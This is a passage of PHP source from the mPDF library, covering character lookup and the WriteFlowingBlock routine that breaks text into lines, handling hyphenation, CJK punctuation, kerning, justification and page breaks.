= mb_substr($content[$contentctr], $charctr, 1, $this->mb_enc); } return $lastchar; } // Get previous character function _getPrevChar($contentctr, $charctr, $content) { $lastchar = false; $charctr--; while ($charctr < 0) { // go back to previous $content[] $contentctr--; if ($contentctr < 0) { return false; } if ($this->usingCoreFont) { $charctr = strlen($content[$contentctr]) - 1; } else { $charctr = mb_strlen($content[$contentctr], $this->mb_enc) - 1; } } if ($this->usingCoreFont) { $lastchar = $content[$contentctr][$charctr]; } else { $lastchar = mb_substr($content[$contentctr], $charctr, 1, $this->mb_enc); } return $lastchar; } function WriteFlowingBlock($s, $sOTLdata) { // mPDF 5.7.1 $currentx = $this->x; $is_table = $this->flowingBlockAttr['is_table']; $table_draft = $this->flowingBlockAttr['table_draft']; // width of all the content so far in points $contentWidth = & $this->flowingBlockAttr['contentWidth']; // cell width in points $maxWidth = & $this->flowingBlockAttr['width']; $lineCount = & $this->flowingBlockAttr['lineCount']; // line height in user units $stackHeight = & $this->flowingBlockAttr['height']; $align = & $this->flowingBlockAttr['align']; $content = & $this->flowingBlockAttr['content']; $contentB = & $this->flowingBlockAttr['contentB']; $font = & $this->flowingBlockAttr['font']; $valign = & $this->flowingBlockAttr['valign']; $blockstate = $this->flowingBlockAttr['blockstate']; $cOTLdata = & $this->flowingBlockAttr['cOTLdata']; // mPDF 5.7.1 $newblock = $this->flowingBlockAttr['newblock']; $blockdir = $this->flowingBlockAttr['blockdir']; // *********** BLOCK BACKGROUND COLOR ***************** // if ($this->blk[$this->blklvl]['bgcolor'] && !$is_table) { $fill = 0; } else { $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); $fill = 0; } $font[] = $this->saveFont(); $content[] = ''; $contentB[] = ''; $cOTLdata[] = $sOTLdata; // mPDF 5.7.1 $currContent = & $content[count($content) - 1]; $CJKoverflow = false; $Oikomi = false; // mPDF 6 $hanger = ''; // COLS $oldcolumn = $this->CurrCol; if ($this->ColActive && !$is_table) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* /* -- TABLES -- */ if ($is_table) { $ipaddingL = 0; $ipaddingR = 0; $paddingL = 0; $paddingR = 0; $cpaddingadjustL = 0; $cpaddingadjustR = 0; // Added mPDF 3.0 $fpaddingR = 0; $fpaddingL = 0; } else { /* -- END TABLES -- */ $ipaddingL = $this->blk[$this->blklvl]['padding_left']; $ipaddingR = $this->blk[$this->blklvl]['padding_right']; $paddingL = ($ipaddingL * Mpdf::SCALE); $paddingR = ($ipaddingR * Mpdf::SCALE); $this->cMarginL = $this->blk[$this->blklvl]['border_left']['w']; $cpaddingadjustL = -$this->cMarginL; $this->cMarginR = $this->blk[$this->blklvl]['border_right']['w']; $cpaddingadjustR = -$this->cMarginR; // Added mPDF 3.0 Float DIV $fpaddingR = 0; $fpaddingL = 0; /* -- CSS-FLOAT -- */ if (count($this->floatDivs)) { list($l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width) = $this->GetFloatDivInfo($this->blklvl); if ($r_exists) { $fpaddingR = $r_width; } if ($l_exists) { $fpaddingL = $l_width; } } /* -- END CSS-FLOAT -- */ $usey = $this->y + 0.002; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 0)) { $usey += $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w']; } /* -- CSS-IMAGE-FLOAT -- */ // If float exists at this level if (isset($this->floatmargins['R']) && $usey <= $this->floatmargins['R']['y1'] && $usey >= $this->floatmargins['R']['y0'] && !$this->floatmargins['R']['skipline']) { $fpaddingR += $this->floatmargins['R']['w']; } if (isset($this->floatmargins['L']) && $usey <= $this->floatmargins['L']['y1'] && $usey >= $this->floatmargins['L']['y0'] && !$this->floatmargins['L']['skipline']) { $fpaddingL += $this->floatmargins['L']['w']; } /* -- END CSS-IMAGE-FLOAT -- */ } // *TABLES* // OBJECTS - IMAGES & FORM Elements (NB has already skipped line/page if required - in printbuffer) if (substr($s, 0, 3) == "\xbb\xa4\xac") { // identifier has been identified! $objattr = $this->_getObjAttr($s); $h_corr = 0; if ($is_table) { // *TABLES* $maximumW = ($maxWidth / Mpdf::SCALE) - ($this->cellPaddingL + $this->cMarginL + $this->cellPaddingR + $this->cMarginR); // *TABLES* } // *TABLES* else { // *TABLES* if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 0) && (!$is_table)) { $h_corr = $this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w']; } $maximumW = ($maxWidth / Mpdf::SCALE) - ($this->blk[$this->blklvl]['padding_left'] + $this->blk[$this->blklvl]['border_left']['w'] + $this->blk[$this->blklvl]['padding_right'] + $this->blk[$this->blklvl]['border_right']['w'] + $fpaddingL + $fpaddingR ); } // *TABLES* $objattr = $this->inlineObject($objattr['type'], $this->lMargin + $fpaddingL + ($contentWidth / Mpdf::SCALE), ($this->y + $h_corr), $objattr, $this->lMargin, ($contentWidth / Mpdf::SCALE), $maximumW, $stackHeight, true, $is_table); // SET LINEHEIGHT for this line ================ RESET AT END $stackHeight = max($stackHeight, $objattr['OUTER-HEIGHT']); $this->objectbuffer[count($content) - 1] = $objattr; // if (isset($objattr['vertical-align'])) { $valign = $objattr['vertical-align']; } // else { $valign = ''; } // LIST MARKERS // mPDF 6 Lists if ($objattr['type'] == 'image' && isset($objattr['listmarker']) && $objattr['listmarker'] && $objattr['listmarkerposition'] == 'outside') { // do nothing } else { $contentWidth += ($objattr['OUTER-WIDTH'] * Mpdf::SCALE); } return; } $lbw = $rbw = 0; // Border widths if (!empty($this->spanborddet)) { if (isset($this->spanborddet['L'])) { $lbw = $this->spanborddet['L']['w']; } if (isset($this->spanborddet['R'])) { $rbw = $this->spanborddet['R']['w']; } } if ($this->usingCoreFont) { $clen = strlen($s); } else { $clen = mb_strlen($s, $this->mb_enc); } // for every character in the string for ($i = 0; $i < $clen; $i++) { // extract the current character // get the width of the character in points if ($this->usingCoreFont) { $c = $s[$i]; // Soft Hyphens chr(173) $cw = ($this->GetCharWidthCore($c) * Mpdf::SCALE); if (($this->textvar & TextVars::FC_KERNING) && $i > 0) { // mPDF 5.7.1 if (isset($this->CurrentFont['kerninfo'][$s[($i - 1)]][$c])) { $cw += ($this->CurrentFont['kerninfo'][$s[($i - 1)]][$c] * $this->FontSizePt / 1000 ); } } } else { $c = mb_substr($s, $i, 1, $this->mb_enc); $cw = ($this->GetCharWidthNonCore($c, false) * Mpdf::SCALE); // mPDF 5.7.1 // Use OTL GPOS if (isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF)) { // ...WriteFlowingBlock... // Only add XAdvanceL (not sure at present whether RTL or LTR writing direction) // At this point, XAdvanceL and XAdvanceR will balance if (isset($sOTLdata['GPOSinfo'][$i]['XAdvanceL'])) { $cw += $sOTLdata['GPOSinfo'][$i]['XAdvanceL'] * (1000 / $this->CurrentFont['unitsPerEm']) * ($this->FontSize / 1000) * Mpdf::SCALE; } } if (($this->textvar & TextVars::FC_KERNING) && $i > 0) { // mPDF 5.7.1 $lastc = mb_substr($s, ($i - 1), 1, $this->mb_enc); $ulastc = $this->UTF8StringToArray($lastc, false); $uc = $this->UTF8StringToArray($c, false); if (isset($this->CurrentFont['kerninfo'][$ulastc[0]][$uc[0]])) { $cw += ($this->CurrentFont['kerninfo'][$ulastc[0]][$uc[0]] * $this->FontSizePt / 1000 ); } } } if ($i == 0) { $cw += $lbw * Mpdf::SCALE; $contentB[(count($contentB) - 1)] .= 'L'; } if ($i == ($clen - 1)) { $cw += $rbw * Mpdf::SCALE; $contentB[(count($contentB) - 1)] .= 'R'; } if ($c == ' ') { $currContent .= $c; $contentWidth += $cw; continue; } // Paragraph INDENT $WidthCorrection = 0; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && isset($this->blk[$this->blklvl]['text_indent']) && ($lineCount == 0) && (!$is_table) && ($align != 'C')) { $ti = $this->sizeConverter->convert($this->blk[$this->blklvl]['text_indent'], $this->blk[$this->blklvl]['inner_width'], $this->blk[$this->blklvl]['InlineProperties']['size'], false); // mPDF 5.7.4 $WidthCorrection = ($ti * Mpdf::SCALE); } // OUTDENT foreach ($this->objectbuffer as $k => $objattr) { // mPDF 6 DOTTAB if ($objattr['type'] == 'dottab') { $WidthCorrection -= ($objattr['outdent'] * Mpdf::SCALE); break; } } // Added mPDF 3.0 Float DIV $fpaddingR = 0; $fpaddingL = 0; /* -- CSS-FLOAT -- */ if (count($this->floatDivs)) { list($l_exists, $r_exists, $l_max, $r_max, $l_width, $r_width) = $this->GetFloatDivInfo($this->blklvl); if ($r_exists) { $fpaddingR = $r_width; } if ($l_exists) { $fpaddingL = $l_width; } } /* -- END CSS-FLOAT -- */ $usey = $this->y + 0.002; if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 0)) { $usey += $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w']; } /* -- CSS-IMAGE-FLOAT -- */ // If float exists at this level if (isset($this->floatmargins['R']) && $usey <= $this->floatmargins['R']['y1'] && $usey >= $this->floatmargins['R']['y0'] && !$this->floatmargins['R']['skipline']) { $fpaddingR += $this->floatmargins['R']['w']; } if (isset($this->floatmargins['L']) && $usey <= $this->floatmargins['L']['y1'] && $usey >= $this->floatmargins['L']['y0'] && !$this->floatmargins['L']['skipline']) { $fpaddingL += $this->floatmargins['L']['w']; } /* -- END CSS-IMAGE-FLOAT -- */ // try adding another char if (( $contentWidth + $cw > $maxWidth - $WidthCorrection - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) ) + 0.001)) {// 0.001 is to correct for deviations converting mm=>pts // it won't fit, output what we already have $lineCount++; // contains any content that didn't make it into this print $savedContent = ''; $savedContentB = ''; $savedOTLdata = []; // mPDF 5.7.1 $savedFont = []; $savedObj = []; $savedPreOTLdata = []; // mPDF 5.7.1 $savedPreContent = []; $savedPreContentB = []; $savedPreFont = []; // mPDF 6 // New line-breaking algorithm ///////////////////// // LINE BREAKING ///////////////////// $breakfound = false; $contentctr = count($content) - 1; if ($this->usingCoreFont) { $charctr = strlen($currContent); } else { $charctr = mb_strlen($currContent, $this->mb_enc); } $checkchar = $c; $prevchar = $this->_getPrevChar($contentctr, $charctr, $content); /* -- CJK-FONTS -- */ // 1) CJK Overflowing a) punctuation or b) Oikomi // Next character ($c) is suitable to add as overhanging or squeezed punctuation, or Oikomi if ($CJKoverflow || $Oikomi) { // If flag already set $CJKoverflow = false; $Oikomi = false; $breakfound = true; } if (!$this->usingCoreFont && !$breakfound && $this->checkCJK) { // Get next/following character (in this chunk) $followingchar = ''; if ($i < ($clen - 1)) { if ($this->usingCoreFont) { $followingchar = $s[$i + 1]; } else { $followingchar = mb_substr($s, $i + 1, 1, $this->mb_enc); } } // 1a) Overflow punctuation if (preg_match("/[" . $this->pregCJKchars . "]/u", $prevchar) && preg_match("/[" . $this->CJKoverflow . "]/u", $checkchar) && $this->allowCJKorphans) { // add character onto this line $currContent .= $c; $contentWidth += $cw; $CJKoverflow = true; // Set flag continue; } elseif (preg_match("/[" . $this->pregCJKchars . "]/u", $checkchar) && $this->allowCJKorphans && (preg_match("/[" . $this->CJKleading . "]/u", $followingchar) || preg_match("/[" . $this->CJKfollowing . "]/u", $checkchar)) && !preg_match("/[" . $this->CJKleading . "]/u", $checkchar) && !preg_match("/[" . $this->CJKfollowing . "]/u", $followingchar) && !(preg_match("/[0-9\x{ff10}-\x{ff19}]/u", $followingchar) && preg_match("/[0-9\x{ff10}-\x{ff19}]/u", $checkchar))) { // 1b) Try squeezing another character(s) onto this line = Oikomi, if character cannot end line // or next character cannot start line (and not splitting CJK numerals) // NB otherwise it move lastchar(s) to next line to keep $c company = Oidashi, which is done below in standard way // add character onto this line $currContent .= $c; $contentWidth += $cw; $Oikomi = true; // Set flag continue; } } /* -- END CJK-FONTS -- */ /* -- HYPHENATION -- */ // AUTOMATIC HYPHENATION // 2) Automatic hyphen in current word (does not cross tags) if (isset($this->textparam['hyphens']) && $this->textparam['hyphens'] == 1) { $currWord = ''; // Look back and ahead to get current word for ($ac = $charctr - 1; $ac >= 0; $ac--) { if ($this->usingCoreFont) { $addc = substr($currContent, $ac, 1); } else { $addc = mb_substr($currContent, $ac, 1, $this->mb_enc); } if ($addc == ' ') { break; } $currWord = $addc . $currWord; } $start = $ac + 1; for ($ac = $i; $ac < ($clen - 1); $ac++) { if ($this->usingCoreFont) { $addc = substr($s, $ac, 1); } else { $addc = mb_substr($s, $ac, 1, $this->mb_enc); } if ($addc == ' ') { break; } $currWord .= $addc; } $ptr = $this->hyphenator->hyphenateWord($currWord, $charctr - $start); if ($ptr > -1) { $breakfound = [$contentctr, $start + $ptr, $contentctr, $start + $ptr, 'hyphen']; } } /* -- END HYPHENATION -- */ // Search backwards to find first line-break opportunity while ($breakfound == false && $prevchar !== false) { $cutcontentctr = $contentctr; $cutcharctr = $charctr; $prevchar = $this->_moveToPrevChar($contentctr, $charctr, $content); ///////////////////// // 3) Break at SPACE ///////////////////// if ($prevchar == ' ') { $breakfound = [$contentctr, $charctr, $cutcontentctr, $cutcharctr, 'discard']; } ///////////////////// // 4) Break at U+200B in current word (Khmer, Lao & Thai Invisible word boundary, and Tibetan) ///////////////////// elseif ($prevchar == "\xe2\x80\x8b") { // U+200B Zero-width Word Break $breakfound = [$contentctr, $charctr, $cutcontentctr, $cutcharctr, 'discard']; } ///////////////////// // 5) Break at Hard HYPHEN '-' or U+2010 ///////////////////// elseif (isset($this->textparam['hyphens']) && $this->textparam['hyphens'] != 2 && ($prevchar == '-' || $prevchar == "\xe2\x80\x90")) { // Don't break a URL // Look back to get first part of current word $checkw = ''; for ($ac = $charctr - 1; $ac >= 0; $ac--) { if ($this->usingCoreFont) { $addc = substr($currContent, $ac, 1); } else { $addc = mb_substr($currContent, $ac, 1, $this->mb_enc); } if ($addc == ' ') { break; } $checkw = $addc . $checkw; } // Don't break if HyphenMinus AND (a URL or before a numeral or before a >) if ((!preg_match('/(http:|ftp:|https:|www\.)/', $checkw) && $checkchar != '>' && !preg_match('/[0-9]/', $checkchar)) || $prevchar == "\xe2\x80\x90") { $breakfound = [$cutcontentctr, $cutcharctr, $cutcontentctr, $cutcharctr, 'cut']; } } ///////////////////// // 6) Break at Soft HYPHEN (replace with hard hyphen) ///////////////////// elseif (isset($this->textparam['hyphens']) && $this->textparam['hyphens'] != 2 && !$this->usingCoreFont && $prevchar == "\xc2\xad") { $breakfound = [$cutcontentctr, $cutcharctr, $cutcontentctr, $cutcharctr, 'cut']; $content[$contentctr] = mb_substr($content[$contentctr], 0, $charctr, $this->mb_enc) . '-' . mb_substr($content[$contentctr], $charctr + 1, mb_strlen($content[$contentctr]), $this->mb_enc); if (!empty($cOTLdata[$contentctr])) { $cOTLdata[$contentctr]['char_data'][$charctr] = ['bidi_class' => 9, 'uni' => 45]; $cOTLdata[$contentctr]['group'][$charctr] = 'C'; } } elseif (isset($this->textparam['hyphens']) && $this->textparam['hyphens'] != 2 && $this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats' && $prevchar == chr(173)) { $breakfound = [$cutcontentctr, $cutcharctr, $cutcontentctr, $cutcharctr, 'cut']; $content[$contentctr] = substr($content[$contentctr], 0, $charctr) . '-' . substr($content[$contentctr], $charctr + 1); } /* -- CJK-FONTS -- */ ///////////////////// // 7) Break at CJK characters (unless forbidden characters to end or start line) // CJK Avoiding line break in the middle of numerals ///////////////////// elseif (!$this->usingCoreFont && $this->checkCJK && preg_match("/[" . $this->pregCJKchars . "]/u", $checkchar) && !preg_match("/[" . $this->CJKfollowing . "]/u", $checkchar) && !preg_match("/[" . $this->CJKleading . "]/u", $prevchar) && !(preg_match("/[0-9\x{ff10}-\x{ff19}]/u", $prevchar) && preg_match("/[0-9\x{ff10}-\x{ff19}]/u", $checkchar))) { $breakfound = [$cutcontentctr, $cutcharctr, $cutcontentctr, $cutcharctr, 'cut']; } /* -- END CJK-FONTS -- */ ///////////////////// // 8) Break at OBJECT (Break before all objects here - selected objects are moved forward to next line below e.g. dottab) ///////////////////// if (isset($this->objectbuffer[$contentctr])) { $breakfound = [$cutcontentctr, $cutcharctr, $cutcontentctr, $cutcharctr, 'cut']; } $checkchar = $prevchar; } // If a line-break opportunity found: if (is_array($breakfound)) { $contentctr = $breakfound[0]; $charctr = $breakfound[1]; $cutcontentctr = $breakfound[2]; $cutcharctr = $breakfound[3]; $type = $breakfound[4]; // Cache chunks which are already processed, but now need to be passed on to the new line for ($ix = count($content) - 1; $ix > $cutcontentctr; $ix--) { // save and crop off any subsequent chunks /* -- OTL -- */ if (!empty($sOTLdata)) { $tmpOTL = array_pop($cOTLdata); $savedPreOTLdata[] = $tmpOTL; } /* -- END OTL -- */ $savedPreContent[] = array_pop($content); $savedPreContentB[] = array_pop($contentB); $savedPreFont[] = array_pop($font); } // Next cache the part which will start the next line if ($this->usingCoreFont) { $savedPreContent[] = substr($content[$cutcontentctr], $cutcharctr); } else { $savedPreContent[] = mb_substr($content[$cutcontentctr], $cutcharctr, mb_strlen($content[$cutcontentctr]), $this->mb_enc); } $savedPreContentB[] = preg_replace('/L/', '', $contentB[$cutcontentctr]); $savedPreFont[] = $font[$cutcontentctr]; /* -- OTL -- */ if (!empty($sOTLdata)) { $savedPreOTLdata[] = $this->otl->splitOTLdata($cOTLdata[$cutcontentctr], $cutcharctr, $cutcharctr); } /* -- END OTL -- */ // Finally adjust the Current content which ends this line if ($cutcharctr == 0 && $type == 'discard') { array_pop($content); array_pop($contentB); array_pop($font); array_pop($cOTLdata); } $currContent = & $content[count($content) - 1]; if ($this->usingCoreFont) { $currContent = substr($currContent, 0, $charctr); } else { $currContent = mb_substr($currContent, 0, $charctr, $this->mb_enc); } if (!empty($sOTLdata)) { $savedPreOTLdata[] = $this->otl->splitOTLdata($cOTLdata[(count($cOTLdata) - 1)], mb_strlen($currContent, $this->mb_enc)); } if (strpos($contentB[(count($contentB) - 1)], 'R') !== false) { // ??? $contentB[count($content) - 1] = preg_replace('/R/', '', $contentB[count($content) - 1]); // ??? } if ($type == 'hyphen') { $currContent .= '-'; if (!empty($cOTLdata[(count($cOTLdata) - 1)])) { $cOTLdata[(count($cOTLdata) - 1)]['char_data'][] = ['bidi_class' => 9, 'uni' => 45]; $cOTLdata[(count($cOTLdata) - 1)]['group'] .= 'C'; } } $savedContent = ''; $savedContentB = ''; $savedFont = []; $savedOTLdata = []; } // If no line-break opportunity found - split at current position // or - Next character ($c) is suitable to add as overhanging or squeezed punctuation, or Oikomi, as set above by: // 1) CJK Overflowing a) punctuation or b) Oikomi // in which case $breakfound==1 and NOT array if (!is_array($breakfound)) { $savedFont = $this->saveFont(); if (!empty($sOTLdata)) { $savedOTLdata = $this->otl->splitOTLdata($cOTLdata[(count($cOTLdata) - 1)], mb_strlen($currContent, $this->mb_enc)); } } if ($content[count($content) - 1] == '' && !isset($this->objectbuffer[count($content) - 1])) { array_pop($content); array_pop($contentB); array_pop($font); array_pop($cOTLdata); $currContent = & $content[count($content) - 1]; } // Right Trim current content - including CJK space, and for OTLdata // incl. CJK - strip CJK space at end of line   = \xe3\x80\x80 = CJK space $currContent = rtrim($currContent); if ($this->checkCJK) { $currContent = preg_replace("/\xe3\x80\x80$/", '', $currContent); } // *CJK-FONTS* /* -- OTL -- */ if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $this->otl->trimOTLdata($cOTLdata[count($cOTLdata) - 1], false, true); // NB also does U+3000 } /* -- END OTL -- */ // Selected OBJECTS are moved forward to next line, unless they come before a space or U+200B (type='discard') if (isset($this->objectbuffer[(count($content) - 1)]) && (!isset($type) || $type != 'discard')) { $objtype = $this->objectbuffer[(count($content) - 1)]['type']; if ($objtype == 'dottab' || $objtype == 'bookmark' || $objtype == 'indexentry' || $objtype == 'toc' || $objtype == 'annot') { $savedObj = array_pop($this->objectbuffer); } } // Decimal alignment (cancel if wraps to > 1 line) if ($is_table && substr($align, 0, 1) == 'D') { $align = substr($align, 2, 1); } $lineBox = []; $this->_setInlineBlockHeights($lineBox, $stackHeight, $content, $font, $is_table); // update $contentWidth since it has changed with cropping $contentWidth = 0; $inclCursive = false; foreach ($content as $k => $chunk) { if (isset($this->objectbuffer[$k]) && $this->objectbuffer[$k]) { // LIST MARKERS if ($this->objectbuffer[$k]['type'] == 'image' && isset($this->objectbuffer[$k]['listmarker']) && $this->objectbuffer[$k]['listmarker']) { if ($this->objectbuffer[$k]['listmarkerposition'] != 'outside') { $contentWidth += $this->objectbuffer[$k]['OUTER-WIDTH'] * Mpdf::SCALE; } } else { $contentWidth += $this->objectbuffer[$k]['OUTER-WIDTH'] * Mpdf::SCALE; } } elseif (!isset($this->objectbuffer[$k]) || (isset($this->objectbuffer[$k]) && !$this->objectbuffer[$k])) { $this->restoreFont($font[$k], false); if ($this->checkCJK && $k == count($content) - 1 && $CJKoverflow && $align == 'J' && $this->allowCJKoverflow && $this->CJKforceend) { // force-end overhang $hanger = mb_substr($chunk, mb_strlen($chunk, $this->mb_enc) - 1, 1, $this->mb_enc); // Probably ought to do something with char_data and GPOS in cOTLdata... $content[$k] = $chunk = mb_substr($chunk, 0, mb_strlen($chunk, $this->mb_enc) - 1, $this->mb_enc); } // Soft Hyphens chr(173) + Replace NBSP with SPACE + Set inclcursive if includes CURSIVE TEXT if (!$this->usingCoreFont) { /* -- OTL -- */ if ((isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) || !empty($sOTLdata)) { $this->otl->removeChar($chunk, $cOTLdata[$k], "\xc2\xad"); $this->otl->replaceSpace($chunk, $cOTLdata[$k]); // NBSP -> space if (preg_match("/([" . $this->pregCURSchars . "])/u", $chunk)) { $inclCursive = true; } $content[$k] = $chunk; } /* -- END OTL -- */ else { // *OTL* $content[$k] = $chunk = str_replace("\xc2\xad", '', $chunk); $content[$k] = $chunk = str_replace(chr(194) . chr(160), chr(32), $chunk); } // *OTL* } elseif ($this->FontFamily != 'csymbol' && $this->FontFamily != 'czapfdingbats') { $content[$k] = $chunk = str_replace(chr(173), '', $chunk); $content[$k] = $chunk = str_replace(chr(160), chr(32), $chunk); } $contentWidth += $this->GetStringWidth($chunk, true, (isset($cOTLdata[$k]) ? $cOTLdata[$k] : false), $this->textvar) * Mpdf::SCALE; // mPDF 5.7.1 if (!empty($this->spanborddet)) { if (isset($this->spanborddet['L']['w']) && strpos($contentB[$k], 'L') !== false) { $contentWidth += $this->spanborddet['L']['w'] * Mpdf::SCALE; } if (isset($this->spanborddet['R']['w']) && strpos($contentB[$k], 'R') !== false) { $contentWidth += $this->spanborddet['R']['w'] * Mpdf::SCALE; } } } } $lastfontreqstyle = (isset($font[count($font) - 1]['ReqFontStyle']) ? $font[count($font) - 1]['ReqFontStyle'] : ''); $lastfontstyle = (isset($font[count($font) - 1]['style']) ? $font[count($font) - 1]['style'] : ''); if ($blockdir == 'ltr' && strpos($lastfontreqstyle, "I") !== false && strpos($lastfontstyle, "I") === false) { // Artificial italic $lastitalic = $this->FontSize * 0.15 * Mpdf::SCALE; } else { $lastitalic = 0; } // NOW FORMAT THE LINE TO OUTPUT if (!$table_draft) { // DIRECTIONALITY RTL $chunkorder = range(0, count($content) - 1); // mPDF 5.7 /* -- OTL -- */ // mPDF 6 if ($blockdir == 'rtl' || $this->biDirectional) { $this->otl->bidiReorder($chunkorder, $content, $cOTLdata, $blockdir); // From this point on, $content and $cOTLdata may contain more elements (and re-ordered) compared to // $this->objectbuffer and $font ($chunkorder contains the mapping) } /* -- END OTL -- */ // Remove any XAdvance from OTL data at end of line foreach ($chunkorder as $aord => $k) { if (count($cOTLdata)) { $this->restoreFont($font[$k], false); // ...WriteFlowingBlock... if ($aord == count($chunkorder) - 1 && isset($cOTLdata[$aord]['group'])) { // Last chunk on line $nGPOS = strlen($cOTLdata[$aord]['group']) - 1; // Last character if (isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL']) || isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'])) { if (isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'])) { $w = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'] * 1000 / $this->CurrentFont['unitsPerEm']; } else { $w = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'] * 1000 / $this->CurrentFont['unitsPerEm']; } $w *= ($this->FontSize / 1000); $contentWidth -= $w * Mpdf::SCALE; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'] = 0; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'] = 0; } // If last character has an XPlacement set, adjust width calculation, and add to XAdvance to account for it if (isset($cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement'])) { $w = -$cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement'] * 1000 / $this->CurrentFont['unitsPerEm']; $w *= ($this->FontSize / 1000); $contentWidth -= $w * Mpdf::SCALE; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceL'] = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement']; $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XAdvanceR'] = $cOTLdata[$aord]['GPOSinfo'][$nGPOS]['XPlacement']; } } } } // JUSTIFICATION J $jcharspacing = 0; $jws = 0; $nb_carac = 0; $nb_spaces = 0; $jkashida = 0; // if it's justified, we need to find the char/word spacing (or if hanger $this->CJKforceend) if (($align == 'J' && !$CJKoverflow) || (($contentWidth + $lastitalic > $maxWidth - $WidthCorrection - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) ) + 0.001) && (!$CJKoverflow || ($CJKoverflow && !$this->allowCJKoverflow))) || $CJKoverflow && $align == 'J' && $this->allowCJKoverflow && $hanger && $this->CJKforceend) { // 0.001 is to correct for deviations converting mm=>pts // JUSTIFY J (Use character spacing) // WORD SPACING // mPDF 5.7 foreach ($chunkorder as $aord => $k) { $chunk = isset($content[$aord]) ? $content[$aord] : ''; if (!isset($this->objectbuffer[$k]) || (isset($this->objectbuffer[$k]) && !$this->objectbuffer[$k])) { $nb_carac += mb_strlen($chunk, $this->mb_enc); $nb_spaces += mb_substr_count($chunk, ' ', $this->mb_enc); // Use GPOS OTL if (isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0xFF)) { if (isset($cOTLdata[$aord]['group']) && $cOTLdata[$aord]['group']) { $nb_carac -= substr_count($cOTLdata[$aord]['group'], 'M'); } } } else { $nb_carac ++; } // mPDF 6 allow spacing for inline object } // GetJSpacing adds kashida spacing to GPOSinfo if appropriate for Font list($jcharspacing, $jws, $jkashida) = $this->GetJspacing($nb_carac, $nb_spaces, ($maxWidth - $lastitalic - $contentWidth - $WidthCorrection - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) )), $inclCursive, $cOTLdata); } // WORD SPACING $empty = $maxWidth - $lastitalic - $WidthCorrection - $contentWidth - (($this->cMarginL + $this->cMarginR) * Mpdf::SCALE) - ($paddingL + $paddingR + (($fpaddingL + $fpaddingR) * Mpdf::SCALE) ); $empty -= ($jcharspacing * ($nb_carac - 1)); // mPDF 6 nb_carac MINUS 1 $empty -= ($jws * $nb_spaces); $empty -= ($jkashida); $empty /= Mpdf::SCALE; $b = ''; // do not use borders // Get PAGEBREAK TO TEST for height including the top border/padding $check_h = max($this->divheight, $stackHeight); if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($this->blklvl > 0) && ($lineCount == 1) && (!$is_table)) { $check_h += ($this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['border_top']['w']); } if ($this->ColActive && $check_h > ($this->PageBreakTrigger - $this->y0)) { $this->SetCol($this->NbCol - 1); } // PAGEBREAK // 'If' below used in order to fix "first-line of other page with justify on" bug if (!$is_table && ($this->y + $check_h) > $this->PageBreakTrigger and ! $this->InFooter and $this->AcceptPageBreak()) { $bak_x = $this->x; // Current X position // WORD SPACING $ws = $this->ws; // Word Spacing $charspacing = $this->charspacing; // Character Spacing $this->ResetSpacing(); $this->AddPage($this->CurOrientation); $this->x = $bak_x; // Added to correct for OddEven Margins $currentx += $this->MarginCorrection; $this->x += $this->MarginCorrection; // WORD SPACING $this->SetSpacing($charspacing, $ws); } if ($this->kwt && !$is_table) { // mPDF 5.7+ $this->printkwtbuffer(); $this->kwt = false; } /* -- COLUMNS -- */ // COLS // COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { $currentx += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); $this->x += $this->ChangeColumn * ($this->ColWidth + $this->ColGap); $oldcolumn = $this->CurrCol; } if ($this->ColActive && !$is_table) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* /* -- END COLUMNS -- */ // TOP MARGIN if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($this->blk[$this->blklvl]['margin_top']) && ($lineCount == 1) && (!$is_table)) { $this->DivLn($this->blk[$this->blklvl]['margin_top'], $this->blklvl - 1, true, $this->blk[$this->blklvl]['margin_collapse']); if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } // Update y0 for top of block (used to paint border) if (($newblock) && ($blockstate == 1 || $blockstate == 3) && ($lineCount == 1) && (!$is_table)) { 